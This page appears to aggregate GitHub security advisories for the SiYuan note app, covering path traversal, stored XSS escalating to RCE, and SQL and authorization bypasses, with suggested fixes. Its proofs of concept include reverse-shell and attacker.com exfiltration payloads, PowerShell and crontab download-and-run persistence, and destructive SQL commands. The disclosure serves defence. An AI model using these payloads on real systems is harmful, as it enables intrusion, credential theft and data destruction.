go util.WebSocketServer.HandleConnect(func(s melody.Session) { // Validate Origin header origin := s.Request.Header.Get("Origin") if origin != "" { allowed := false for , o := range []string{"http://localhost", "http://127.0.0.1", "app://"} { if strings.HasPrefix(origin, o) { allowed = true break } } if !allowed { s.CloseWithMsg([]byte("origin not allowed")) return } } // ... rest of auth logic })

3. Separate keepalive from broadcast

If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.04%
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N

Summary POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory — including system paths that enable RCE.

Details File: kernel/api/import.go — functions importSY and importZipMd

go file := files[0]

// ❌ file.Filename comes from the HTTP multipart header — fully user-controlled writePath := filepath.Join(util.TempDir, "import", file.Filename) // e.g. TempDir=/siyuan/workspace/temp, file.Filename="../../data/evil" // → writePath = /siyuan/workspace/data/evil (escapes temp/import/)

writer, err := os.OpenFile(writePath, os.ORDWR|os.OCREATE, 0644)

importZipMd has a second traversal in unzipPath construction: go filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename)) unzipPath := filepath.Join(util.TempDir, "import", filenameMain) gulu.Zip.Unzip(writePath, unzipPath) // unzipPath also escapes TempDir

filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation — sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.

PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit: python import requests, zipfile, io

HOST = "http://localhost:6806" TOKEN = "YOURADMINTOKEN" # from Settings → About → API Token

Create a valid .sy.zip payload buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr("TestNB/20240101000000-abcdefg.sy", '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}') z.writestr("TestNB/.siyuan/sort.json", "{}") buf.seek(0)

Traversal filename — Python requests does NOT sanitize ../ r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../data/TRAVERSALPROOF.zip", buf.read(), "application/zip")}, data={"notebook": "YOURNOTEBOOKID", "toPath": "/"})

print(r.text) Returns: {"code":0,"msg":"","data":null} File was written to /siyuan/workspace/data/TRAVERSALPROOF.zip

RCE via cron (root container): python cron = b" root touch /tmp/RCECONFIRMED\n" r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../../../../etc/cron.d/siyuanpoc", cron, "application/zip")}, data={"notebook": "NOTEBOOKID", "toPath": "/"}) cron executes on next minute → /tmp/RCECONFIRMED appears

Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}

Impact An admin can write arbitrary content to any path writable by the SiYuan process: - RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorizedkeys - Data destruction by overwriting workspace or application files - In Docker containers running as root (common default), this grants full container compromise

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.07%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Stored XSS to RCE via Unsanitized Bazaar Package Metadata

Summary

SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.

Affected Component

- Metadata rendering: app/src/config/bazaar.ts:275-277 - Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

- SiYuan <= 3.5.9

Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Vulnerable Code

In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:

typescript // Package name injected directly — NO escaping ${item.preferredName}${item.preferredName !== item.name ? <span class="fton-surface ftsmaller">${item.name}</span> : ""}

// Package description — title attribute uses escapeAttr(), but text content does NOT <div class="b3-carddesc" title="${escapeAttr(item.preferredDesc) || ""}"> ${item.preferredDesc || ""} <!-- UNESCAPED HTML --> </div>

The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.

The Electron renderer at app/electron/main.js:422-426 is configured with:

javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... }

This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('childprocess'), require('fs'), and require('os').

Proof of Concept

Step 1: Create a malicious plugin manifest

Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:

json { "name": "helpful-productivity-plugin", "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('childprocess').exec('calc.exe')\">" }, "description": { "default": "Boost your productivity with smart templates" }, "version": "1.0.0", "author": "attacker", "url": "https://github.com/attacker/helpful-productivity-plugin", "minAppVersion": "2.0.0" }

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).

Step 3: Zero-click RCE

When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('childprocess').exec('calc.exe').

No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.

Escalation: Reverse shell

json { "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('childprocess').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKERIP/4444 0>&1\\\"')\">" } }

Escalation: Data exfiltration (API token theft)

json { "displayName": { "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">" } }

Escalation: Silent persistence (Windows)

json { "displayName": { "default": "<img src=x onerror=\"require('childprocess').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">" } }

Attack Scenario

1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process. 3. The plugin.json manifest contains an XSS payload in the displayName or description field. 4. When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata. 5. The injected <img onerror> (or <svg onload>, <details ontoggle>, etc.) fires automatically. 6. JavaScript executes in the Electron renderer with full Node.js access (nodeIntegration: true). 7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.

The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.

Impact

- Full remote code execution on any SiYuan desktop user who browses the Bazaar - Zero-click — payload fires on page load, no interaction required - Supply-chain attack — targets the entire SiYuan user community via the official marketplace - Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files - Can install persistent backdoors, scheduled tasks, or ransomware - Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Escape all package metadata in template rendering (bazaar.ts)

typescript function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(/</g, '&lt;') .replace(/>/g, '&gt;').replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); }

// Apply to ALL user-controlled metadata before rendering ${escapeHtml(item.preferredName)} <div class="b3-carddesc">${escapeHtml(item.preferredDesc || "")}</div>

2. Server-side sanitization in the Bazaar index pipeline

Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:

go func sanitizePackageDisplayStrings(pkg Package) { if pkg == nil { return } for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } }

3. Long-term: Harden Electron configuration

javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, }

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.21%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Stored XSS to RCE via Unsanitized Bazaar README Rendering

Summary

SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend renderREADME function uses lute.New() without calling SetSanitize(true), allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to innerHTML without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution.

Affected Component

- README rendering (backend): kernel/bazaar/package.go:635-645 (renderREADME function) - README rendering (frontend): app/src/config/bazaar.ts:607 (innerHTML assignment) - Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

- SiYuan <= 3.5.9 - Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.

Vulnerable Code

Backend: kernel/bazaar/package.go:635-645

go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in Markdown is PRESERVED return }

Compare with SiYuan's own note renderer in kernel/util/lute.go:81, which does sanitize:

go luteEngine.SetSanitize(true) // Notes ARE sanitized — but Bazaar README is NOT

This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.

Frontend: app/src/config/bazaar.ts:607

typescript fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM });

The backend returns unsanitized HTML, and the frontend blindly assigns it to innerHTML without any client-side sanitization (e.g., DOMPurify).

Electron: app/electron/main.js:422-426

javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... }

Any JavaScript executing in the renderer has direct access to Node.js APIs.

Proof of Concept

Step 1: Create a malicious README

Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The README.md contains embedded HTML:

markdown Helpful Productivity Plugin

This plugin helps you organize your notes with smart templates and AI-powered suggestions.

Features

- Smart template insertion - AI-powered note organization - Cross-platform sync

<img src=x onerror="require('childprocess').exec('calc.exe')">

Installation

Install via the SiYuan Bazaar marketplace.

License

MIT

The raw <img> tag with onerror handler is valid Markdown (HTML passthrough). The Lute engine preserves it because SetSanitize(true) is not called. The frontend renders it via innerHTML, and the broken image triggers onerror, executing calc.exe.

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar via the standard community contribution process.

Step 3: One-click RCE

When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The onerror handler fires, executing arbitrary OS commands.

Escalation: Reverse shell

markdown Cool Theme for SiYuan

Beautiful dark theme with custom fonts.

<img src=x onerror="require('childprocess').exec('bash -c \"bash -i >& /dev/tcp/ATTACKERIP/4444 0>&1\"')">

Escalation: Multi-stage payload via README

A more sophisticated attack can hide the payload deeper in the README to avoid casual review:

markdown Professional Note Templates

A comprehensive collection of note templates for professionals.

Templates Included

| Category | Count | Description | |----------|-------|-------------| | Business | 15 | Meeting notes, project plans | | Academic | 12 | Research notes, citations | | Personal | 8 | Journal, habit tracking |

Screenshots

<!-- Legitimate-looking image reference --> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.png"> <source media="(prefers-color-scheme: light)" srcset="https://attacker.com/light.png"> <img src="https://attacker.com/screenshot.png" alt="Template Preview" onload=" var c = require('childprocess'); var o = require('os'); var f = require('fs'); var p = require('path');

// Exfiltrate sensitive data var home = o.homedir(); var configDir = p.join(home, '.config', 'siyuan'); var data = {};

try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8'); } catch(e) {} try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), 'utf8')); } catch(e) {} try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.platform = o.platform(); } catch(e) {}

// Send to attacker var https = require('https'); var payload = JSON.stringify(data); var req = https.request({ hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length } }); req.write(payload); req.end();

// Drop persistence if (o.platform() === 'win32') { c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(\\\"https://attacker.com/stage2.ps1\\\"))\" /sc onlogon /rl highest /f'); } else { c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -'); } "> </picture>

Changelog

- v1.0.0: Initial release

This payload: 1. Uses onload instead of onerror (fires on successful image load from attacker's server) 2. Exfiltrates SiYuan API token, config, hostname, username, and platform info 3. Installs cross-platform persistence (Windows scheduled task / Linux crontab) 4. Is buried inside a legitimate-looking <picture> element that blends with real README content

Escalation: SVG-based payload (bypasses naive img filtering)

markdown Architecture

<svg onload="require('childprocess').exec('id > /tmp/pwned')"> <rect width="100" height="100" fill="blue"/> </svg>

Escalation: Details/summary element (interactive trigger)

markdown FAQ

<details ontoggle="require('childprocess').exec('whoami > /tmp/pwned')" open> <summary>How do I install this plugin?</summary> Use the SiYuan Bazaar to install. </details>

The open attribute causes ontoggle to fire immediately without user interaction with the element itself.

Attack Scenario

1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a <picture> tag, <details> block, or <svg>). 3. Attacker submits the package to the SiYuan Bazaar via the community contribution process. 4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README. 5. The backend renders the README via renderREADME() without sanitization. 6. The frontend assigns the HTML to innerHTML. 7. The injected JavaScript executes with full Node.js access. 8. The attacker achieves RCE — reverse shell, data theft, persistence, etc.

Impact

- Full remote code execution on any SiYuan desktop user who views the malicious package README - One-click — triggered by viewing package details in the Bazaar - Supply-chain attack via the official SiYuan community marketplace - Payloads can be deeply hidden in legitimate-looking README content, making code review difficult - Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files - Can install persistent backdoors across Windows, macOS, and Linux - Multiple HTML elements can carry payloads (img, svg, details, picture, video, audio, iframe, object, embed, math, etc.) - Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Enable Lute sanitization for README rendering (package.go)

go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() luteEngine.SetSanitize(true) // ADD THIS — matches note renderer behavior luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) return }

2. Add client-side sanitization as defense-in-depth (bazaar.ts)

typescript import DOMPurify from 'dompurify';

fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = DOMPurify.sanitize(response.data.html); });

3. Long-term: Harden Electron configuration

javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, }

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.02%
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the /api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the Reader role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.

This is inconsistent with the application's own security model: the dedicated SQL endpoint (/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely.

Root Cause Analysis

The Vulnerable Endpoint

File: kernel/api/router.go, line 188

go ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)

This endpoint only applies model.CheckAuth, which permits any authenticated role (Administrator, Editor, or Reader).

The Properly Protected Endpoint (for comparison)

File: kernel/api/router.go, line 177

go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)

This endpoint correctly chains CheckAdminRole and CheckReadonly, restricting SQL execution to administrators in read-write mode.

The Vulnerable Code Path

File: kernel/api/search.go, lines 389-411

go func fullTextSearchBlock(c gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg) blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) // ... }

File: kernel/model/search.go, lines 1205-1206

go case 2: // SQL blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)

When method=2, the raw query string is passed directly to searchBySQL().

File: kernel/model/search.go, lines 1460-1462

go func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []Block, ...) { stmt = strings.TrimSpace(stmt) blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)

File: kernel/sql/blockquery.go, lines 566-569, 713-714

go func SelectBlocksRawStmt(stmt string, page, limit int) (ret []Block) { parsedStmt, err := sqlparser.Parse(stmt) if err != nil { return selectBlocksRawStmt(stmt, limit) // Falls through to raw execution } // ... }

func selectBlocksRawStmt(stmt string, limit int) (ret []Block) { rows, err := query(stmt) // Executes arbitrary SQL // ... }

File: kernel/sql/database.go, lines 1327-1337

go func query(query string, args ...interface{}) (sql.Rows, error) { // ... return db.Query(query, args...) // Go's database/sql db.Query — executes ANY SQL }

Go's database/sql db.Query() will execute any SQL statement, including DELETE, UPDATE, DROP TABLE, INSERT, etc. The returned sql.Rows will simply be empty for non-SELECT statements, but the destructive operation is still executed.

Authorization Model

File: kernel/model/session.go, lines 201-210

go func CheckAuth(c gin.Context) { // Already authenticated via JWT if role := GetGinContextRole(c); IsValidRole(role, []Role{ RoleAdministrator, RoleEditor, RoleReader, // <-- Reader role passes CheckAuth }) { c.Next() return } // ... }

File: kernel/model/session.go, lines 380-386

go func CheckAdminRole(c gin.Context) { if IsAdminRoleContext(c) { c.Next() } else { c.AbortWithStatus(http.StatusForbidden) // <-- This check is MISSING on the search endpoint } }

Proof of Concept

Prerequisites - SiYuan instance accessible over the network (e.g., Docker deployment) - Valid authentication as any user role (including Reader)

Steps to Reproduce

1. Authenticate to SiYuan and obtain a valid session cookie or API token.

2. Read all data (confidentiality breach): bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"method": 2, "query": "SELECT FROM blocks LIMIT 100"}'

3. Delete all blocks (integrity/availability breach): bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"method": 2, "query": "DELETE FROM blocks"}'

4. Drop tables (availability breach): bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"method": 2, "query": "DROP TABLE blocks"}'

5. Compare with the properly protected endpoint (should return HTTP 403 for Reader role): bash curl -X POST http://<target>:6806/api/query/sql \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"stmt": "SELECT FROM blocks LIMIT 10"}'

Expected Behavior The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with /api/query/sql.

Actual Behavior Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.

Impact

In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):

- Confidentiality: A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to. - Integrity: A Reader-role user can modify or delete any data in the database, despite having read-only access by design. - Availability: A Reader-role user can drop tables or corrupt the database, rendering the application unusable.

Suggested Fix

Add CheckAdminRole and CheckReadonly middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when method=2:

Option A — Restrict method=2 to admin (recommended):

In kernel/api/search.go, add a role check when method=2:

go func fullTextSearchBlock(c gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)

// SQL mode requires admin privileges, consistent with /api/query/sql if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } // ... }

Option B — Enforce SELECT-only for non-admin users:

Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

Details File: kernel/api/router.go

Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:

go // Missing CheckAdminRole ginServer.Handle("POST", "/api/template/renderSprig", model.CheckAuth, renderSprig)

// Correct pattern used by all other data endpoints ginServer.Handle("POST", "/api/template/render", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)

renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:

go (templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) { ret, = Query(stmt, 1024) // executes raw SELECT, no role check return }

Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.

PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit: bash Step 1: Login and retrieve API token curl -s -X POST http://localhost:6806/api/system/loginAuth \ -H "Content-Type: application/json" \ -d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15 # wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \ -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")

Step 2: Execute SQL as non-admin user curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{querySQL \"SELECT count() as n FROM blocks\" | toJson}}"}'

Confirmed response on v3.6.0: json {"code":0,"msg":"","data":"[{\"n\":0}]"}

Full note dump: bash curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'

Impact Any authenticated user (API token holder, Publish Service Reader) can: - Dump all note content and document hierarchy from the workspace - Exfiltrate tags, custom attributes, block IDs, and timestamps - Search notes for stored passwords, API keys, or personal data - Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.01%
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint.

The endpoint only requires model.CheckAuth, which accepts RoleReader sessions. Because the endpoint performs a persistent document mutation and does not enforce CheckAdminRole or CheckReadonly, a publish user with read-only privileges can append new blocks to existing documents.

This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.

Details

File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code: - router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren) - api/block.go: model.AppendHeadingChildren(id, childrenDOM) - model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation) - session.go: CheckAuth accepts RoleReader as authenticated Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.

PoC

1. Enable publish service and create low-privilege account curl -u workspace:<ACCESSAUTHCODE> \ -H "Content-Type: application/json" \ -d '{ "enable": true, "port": 6808, "auth": { "enable": true, "accounts": [ { "username": "viewer", "password": "viewerpass" } ] } }' \ http://127.0.0.1:6806/api/setting/setPublish 2. Create a test notebook and document (admin) curl -u workspace:<ACCESSAUTHCODE> \ -H "Content-Type: application/json" \ -d '{"name":"AuditPOC"}' \ http://127.0.0.1:6806/api/notebook/createNotebook Create a document containing a heading: curl -u workspace:<ACCESSAUTHCODE> \ -H "Content-Type: application/json" \ -d '{ "notebook":"<NOTEBOOKID>", "path":"/Victim", "markdown":"# VictimHeading\n\nOriginal paragraph" }' \ http://127.0.0.1:6806/api/filetree/createDocWithMd 3. Retrieve heading block ID (low-priv publish account) curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT id,rootid FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \ http://127.0.0.1:6808/api/query/sql Example response: { "id":"20260307093334-05sj7bz", "rootid":"20260307093334-vsa6ft0" } 4. Generate block DOM curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"dom":"<p>InjectedByReader</p>"}' \ http://127.0.0.1:6808/api/lute/html2BlockDOM

5. Append block using the vulnerable endpoint curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{ "id":"20260307093334-05sj7bz", "childrenDOM":"<div ...>InjectedByReader</div>" }' \ http://127.0.0.1:6808/api/block/appendHeadingChildren Server response: {"code":0}

6. Verify unauthorized modification curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT content FROM blocks WHERE rootid='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \ http://127.0.0.1:6808/api/query/sql Result includes attacker-controlled content: InjectedByReader This confirms that the low-privilege publish user successfully modified the document.

Impact This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.

Potential impacts include:

• Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges

The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203